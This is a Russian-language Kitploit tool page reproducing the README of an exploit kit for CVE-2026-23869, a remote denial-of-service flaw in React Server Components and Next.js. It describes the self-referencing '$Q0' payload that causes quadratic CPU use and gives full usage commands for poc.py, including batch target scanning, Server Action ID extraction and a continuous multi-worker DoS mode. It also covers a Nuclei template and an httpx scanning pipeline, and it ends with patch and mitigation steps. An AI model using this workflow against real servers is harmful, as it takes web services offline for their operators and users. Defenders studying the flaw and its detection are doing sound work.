Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-23869-Exploit — Автоматизированный инструмент эксплуатации для CVE-2026-23869 — удалённого отказа в обслуживании (DoS) в React Server Components. Включает PoC, шаблон Nuclei и скрипты сканирования для обнаружения и эксплуатации. | Kitploit
Инструменты/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Автоматизированный инструмент эксплуатации для CVE-2026-23869 — удалённого отказа в обслуживании (DoS) в React Server Components. Включает PoC, шаблон Nuclei и скрипты сканирования для обнаружения и эксплуатации.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
814 месяцев назадЕщё не проверено

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Неаутентифицированный удалённый отказ в обслуживании через React Flight Protocol
Квадратичное истощение CPU при десериализации Map в Server Components

Обзор • Как это работает • Инструменты • Установка • Использование • Nuclei • Исправление • Отказ от ответственности


Обзор уязвимости

ПолеДетали
CVE IDCVE-2026-23869
ПсевдонимReact2DoS
Оценка CVSS7.5 (Высокая)
Вектор CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Неконтролируемое потребление ресурсов)
ТипНеаутентифицированный удалённый отказ в обслуживании
ОбнаруженоYohann Sillam (Imperva Threat Research)
Затронутоreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
ИсправленоReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Критическая уязвимость отказа в обслуживании существует в десериализации Flight protocol React Server Components. Неаутентифицированный злоумышленник может отправить один специально сформированный HTTP-запрос к любой конечной точке Server Action App Router в Next.js, вызывая квадратичное истощение CPU O(n²), которое блокирует сервер на несколько минут.

Ссылки

  • Официальное уведомление Vercel
  • Технический анализ Imperva — «React2DoS»
  • Патч React PR #36236
  • Запись NVD

Как это работает

Ошибка: отсутствующий флаг consumed при десериализации Map

Протокол React Flight использует специальные маркеры для сериализации типов данных. $Q представляет объект Map. Когда сервер получает полезную нагрузку, содержащую самоссылающиеся маркеры $Q0:

root@kitploit:~
Payload: [ [1,1], [1,1], ...(n допустимых записей)..., "$Q0", "$Q0", ...(n ссылок)... ]

Каждый $Q0 запускает конструктор new Map(), который перебирает все n допустимых записей. Конструктор Map выбрасывает ошибку (поскольку записи некорректны), но критическая ошибка заключается в том, что: флаг consumed никогда не устанавливается при сбое.

Это означает, что следующий $Q0 заново вычисляет ту же самую Map с нуля → создавая сложность O(n²):

root@kitploit:~
n допустимых записей × n ссылок $Q0 = n² вызовов конструктора Map

Пример: 65 000 × 65 000 = 4 225 000 000 операций
Результат: Один запрос блокирует CPU на 5-10+ минут

Схема атаки

root@kitploit:~
┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Атакующий │ ──────────────────────────────────────▶ │  Сервер Next.js  │
│          │     Заголовок: Next-Action: <action_id>   │                  │
│          │     Тело: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% ЗАБЛОКИРОВАН │
└──────────┘                                        │  на ~5-10 мин     │
                                                    └──────────────────┘

Уязвимый код (до исправления)

root@kitploit:~
// ReactFlightReplyServer.js — ДО патча
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Завершается ошибкой, но не устанавливает consumed = true
                         //   Следующий $Q0 пересчитывает с нуля
}

Исправленный код (после исправления)

root@kitploit:~
// ReactFlightReplyServer.js — ПОСЛЕ патча (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Исправление: установить флаг ДО создания
  return new Map(data);  //   Предотвращает повторный пересчёт
}

Включённые инструменты

ФайлОписание
poc.pyПолностью автоматизированный инструмент эксплуатации с 4-фазным конвейером (Разведка → Извлечение → Обнаружение → Эксплуатация)

Установка

root@kitploit:~
# Клонировать репозиторий
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Установить зависимость Python
pip install requests

# Сделать скрипты исполняемыми
chmod +x poc.py scan.sh extract-action-ids.sh

Необязательные зависимости

root@kitploit:~
# Для сканирования шаблоном Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Для фильтрации живых целей
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Использование

🔥 Полное автоматическое сканирование (одна цель)

Просто укажите URL — инструмент сделает всё автоматически:

root@kitploit:~
python3 poc.py -u https://target.com

Что происходит:

  1. Фаза 1 — Разведка: Определяет Next.js (заголовки, HTML-маркеры, build ID)
  2. Фаза 2 — Извлечение: Находит ID Server Action из JS-бандлов
  3. Фаза 3 — Обнаружение: Безопасная проверка уязвимости на основе тайминга (проба из 500 записей)
  4. Фаза 4 — Отчёт: Показывает вердикт об уязвимости с анализом тайминга

📋 Пакетное сканирование (несколько целей)

root@kitploit:~
# Сканировать список доменов/IP
python3 poc.py -L targets.txt

# С выводом JSON-отчёта
python3 poc.py -L targets.txt -o results.json

🎯 Ручной режим (известный Action ID)

root@kitploit:~
# Только безопасное обнаружение
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Одиночная эксплуатация
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# Непрерывный DoS (10 воркеров)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Только извлечение Action ID

root@kitploit:~
python3 poc.py -u https://target.com --extract

⚙️ Все параметры

root@kitploit:~
Options:
  -u, --url URL          Целевой URL (одна цель)
  -L, --list FILE        Файл с целевыми URL/IP (по одному в строке)
  -a, --action-id ID     ID Server Action (пропустить автоматическое извлечение)
  --detect               Только обнаружение — безопасно, неразрушающе (по умолчанию)
  --single               Одиночная эксплуатация после обнаружения
  --exploit              Непрерывный DoS после обнаружения
  --extract              Только извлечение action ID
  -l, --length N         Записей в полезной нагрузке (по умолчанию: 130000)
  -w, --workers N        Параллельных воркеров (по умолчанию: 5)
  -d, --delay SEC        Задержка между запросами (по умолчанию: 1.0)
  -o, --output FILE      Сохранить JSON-отчёт
  -t, --threads N        Параллельных целей для сканирования списка (по умолчанию: 3)

Обратная совместимость

Оригинальный синтаксис PoC по-прежнему работает:

root@kitploit:~
python3 poc.py <ACTION_ID> <URL>

Шаблон Nuclei

Быстрое сканирование

root@kitploit:~
# Одна цель
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# Несколько целей
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos

# Чистый вывод (только уязвимые результаты)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent

Примечание: Флаг -itags dos обязателен, поскольку Nuclei по умолчанию исключает DoS-шаблоны в целях безопасности.

Поток обнаружения шаблона

root@kitploit:~
Запрос 1 (GET /)     →  Определение Next.js (заголовки + HTML-маркеры)
Запрос 2 (GET /)     →  Извлечение ID Server Action из createServerReference()  
Запрос 3 (POST /)    →  Базовый запрос для замера времени (безвредная нагрузка)
Запрос 4 (POST /)    →  Эксплуатационная проба (250 допустимых + 250 записей $Q0)
                         └─ Если время ответа ≥ 3с → УЯЗВИМО

Скрипт автоматического сканера

root@kitploit:~
# Запускает httpx → фильтрует живые цели → сканирование nuclei → результаты
./scan.sh

# Или укажите свои файлы
./scan.sh targets1.txt targets2.txt

Логика обнаружения

Инструмент использует обнаружение на основе тайминга для безопасной идентификации уязвимых серверов:

Обнаружение подтверждается, когда:

  • Время ответа на пробу ≥ 3 секунд, ИЛИ
  • Соотношение Проба/Базовый > 5x при времени пробы > 1 секунды

Затронутые версии


Исправление

  1. Обновите React до версии 19.2.5 или новее
  2. Обновите Next.js до версии 15.5.15 или 16.2.3 или новее
  3. Правила WAF: Блокируйте запросы с аномально большими телами multipart/form-data, содержащими маркеры $Q
  4. Ограничение скорости: Внедрите ограничения скорости на конечных точках Server Action
  5. Мониторинг: Настройте оповещения о высоком использовании CPU, коррелирующем с POST-запросами к /

Структура проекта

root@kitploit:~
CVE-2026-23869-Exploit/
├── README.md                  # Этот файл
├── poc.py                     # Полностью автоматизированный инструмент PoC
├── CVE-2026-23869.yaml        # Шаблон обнаружения Nuclei
├── scan.sh                    # Автосканер httpx + nuclei
└── extract-action-ids.sh      # Автономный извлекатель action ID

Скриншоты

Полное автоматическое сканирование

root@kitploit:~
  ╔══════════════════════════════════════════════════╗
  ║  ФАЗА 1 ▸ РАЗВЕДКА                              ║
  ╚══════════════════════════════════════════════════╝

  ✓ Next.js обнаружен (Next.js)
  ✓ Build ID: abc123def456
  ✓ App Router: Server Actions обнаружены

  ╔══════════════════════════════════════════════════╗
  ║  ФАЗА 2 ▸ ИЗВЛЕЧЕНИЕ ACTION ID                  ║
  ╚══════════════════════════════════════════════════╝

  ✓ Найдено 3 Action ID:
    1. a1b2c3d4e5f6789012345678901234567890abcd
    2. b2c3d4e5f67890123456789012345678901234ef

  ╔══════════════════════════════════════════════════╗
  ║  ФАЗА 3 ▸ ОБНАРУЖЕНИЕ УЯЗВИМОСТИ                ║
  ╚══════════════════════════════════════════════════╝

  [1/2] Базовый: 0.142с
  [2/2] Проба:    7.891с (55.6x от базового)

  ██ УЯЗВИМО — CVE-2026-23869 ПОДТВЕРЖДЕНО ██

Результаты пакетного сканирования

root@kitploit:~
  ╔══════════════════════════════════════════════════════════════╗
  ║  РЕЗУЛЬТАТЫ ПАКЕТНОГО СКАНИРОВАНИЯ                          ║
  ╚══════════════════════════════════════════════════════════════╝

  Просканировано : 150 целей за 45.2с
  Уязвимых      : 3
  Исправленных  : 12
  Пропущено     : 135

  🔴 УЯЗВИМЫЕ ЦЕЛИ
  ─────────────────────────────────────────────────
   #   ЦЕЛЬ                           ПРОБА    СООТНОШЕНИЕ
     1  vulnerable-app.com             7.89с    55.6x
     2  staging.example.com            4.21с    28.1x
     3  dev.testsite.org              12.33с    82.2x

Отказ от ответственности

⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ

Этот инструмент предоставляется только в образовательных целях и для авторизованного тестирования на проникновение. Несанкционированное использование этого инструмента против целей, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и может нарушать законы о компьютерном мошенничестве (CFAA, CMA и др.).

Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте надлежащее письменное разрешение перед тестированием любых систем.


Авторы

  • Исследование уязвимости: Yohann Sillam — Imperva Threat Research
  • Разработка PoC: cybertechajju
  • Патч React: Команда React Facebook/Meta

Stars Forks License

Если вы нашли это полезным, поставьте ⭐

Скачать инструмент
CVE-2026-23869.yamlШаблон обнаружения Nuclei с оркестрацией на основе flow
scan.shСкрипт-обёртка: фильтрация живых целей httpx + сканирование nuclei
extract-action-ids.shАвтономный извлекатель ID Server Action
МетрикаУязвимыйИсправленный
Базовый (безвредный запрос)~0.1-0.5с~0.1-0.5с
Проба (500 записей)3-10+ секунд~0.1-0.5с
Соотношение (Проба/Базовый)>5x~1x
Полная нагрузка (130K записей)5-10+ минут~0.1-0.5с
ПакетУязвимыйИсправленный
react-server-dom-webpack≤ 19.2.419.2.5+
react-server-dom-parcel≤ 19.2.419.2.5+
react-server-dom-turbopack≤ 19.2.419.2.5+
Next.js< 15.5.1515.5.15+
Next.js 16.x< 16.2.316.2.3+